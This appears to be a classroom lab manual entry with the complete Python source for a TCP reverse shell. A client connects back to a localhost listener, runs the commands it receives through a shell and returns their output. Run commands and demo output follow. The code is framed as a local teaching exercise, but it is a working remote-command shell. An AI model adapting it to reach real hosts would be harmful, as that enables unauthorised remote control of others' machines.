Experiment 08

Develop a program to create reverse shell using TCP sockets

Aim

To demonstrate a TCP reverse shell in which the client connects back to a listener and returns command output.

Requirements

Python 3.10+; two terminals on the same lab computer.

Procedure / algorithm

1. Start the foreground server on localhost; it binds, listens and accepts one client.
2. Start the client; it initiates a TCP connection back to the listener.
3. Send a command with a four-byte length prefix; the client reads the complete request.
4. Execute the command, capture standard output/error, and send a framed response.
5. Use exit to close both ends. Demo mode runs Python --version and exit automatically.

Complete source / configuration: reverse_shell.py

```
"""Foreground TCP reverse-shell exercise for a local classroom lab."""
import argparse
import socket
import struct
import subprocess
import sys
import threading


def exact(sock, size):
    data = bytearray()
    while len(data) < size:
        part = sock.recv(size - len(data))
        if not part: raise EOFError("Connection closed")
        data.extend(part)
    return bytes(data)


def send(sock, value):
    data = value.encode("utf-8")
    if len(data) > 1048576: raise ValueError("Message too large")
    sock.sendall(struct.pack("!I", len(data)) + data)


def receive(sock):
    size = struct.unpack("!I", exact(sock, 4))[0]
    if size > 1048576: raise ValueError("Message too large")
    return exact(sock, size).decode("utf-8")


def client(port):
    with socket.create_connection(("127.0.0.1", port), timeout=10) as sock:
        while True:
            command = receive(sock)
            if command == "exit":
                send(sock, "Session closed")
                return
            try:
                result = subprocess.run(command, shell=True, capture_output=True,
                                        text=True, timeout=5)
                output = result.stdout + result.stderr
                send(sock, output[:200000] or f"Exit status: {result.returncode}")
            except subprocess.TimeoutExpired:
                send(sock, "Command timed out")


def server(port, demo=False):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind(("127.0.0.1", port))
        listener.listen(1)
        listener.settimeout(10)
        worker = None
        if demo:
            worker = threading.Thread(target=client, args=(listener.getsockname()[1],))
            worker.start()
        with listener.accept()[0] as conn:
            conn.settimeout(10)
            commands = iter([f'"{sys.executable}" --version', "exit"]) if demo else None
```

```
            while True:
                command = next(commands) if demo else input("lab-shell> ")
                send(conn, command)
                print(receive(conn).strip())
                if command == "exit": break
        if worker: worker.join()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("mode", choices=["server", "client", "demo"])
    parser.add_argument("--port", type=int, default=9001)
    a = parser.parse_args()
    if a.mode == "client": client(a.port)
    else: server(0 if a.mode == "demo" else a.port, a.mode == "demo")
```

Run

From the repository root unless a cd command is shown.

```
python Exercise_08/reverse_shell.py demo
python Exercise_08/reverse_shell.py server
python Exercise_08/reverse_shell.py client
```

Actual output / verification

```
Actual localhost demonstration:
Python 3.12.14
Session closed
```

Expected output - not an execution record

The listener displays the client command output; exit displays Session closed and ends the connection.

Observations

TCP is a byte stream, so length framing handles partial reads. The supplied lab program uses localhost, an explicit foreground session and a five-second command timeout.

Result

A reverse connection, command execution and clean exit were verified on localhost.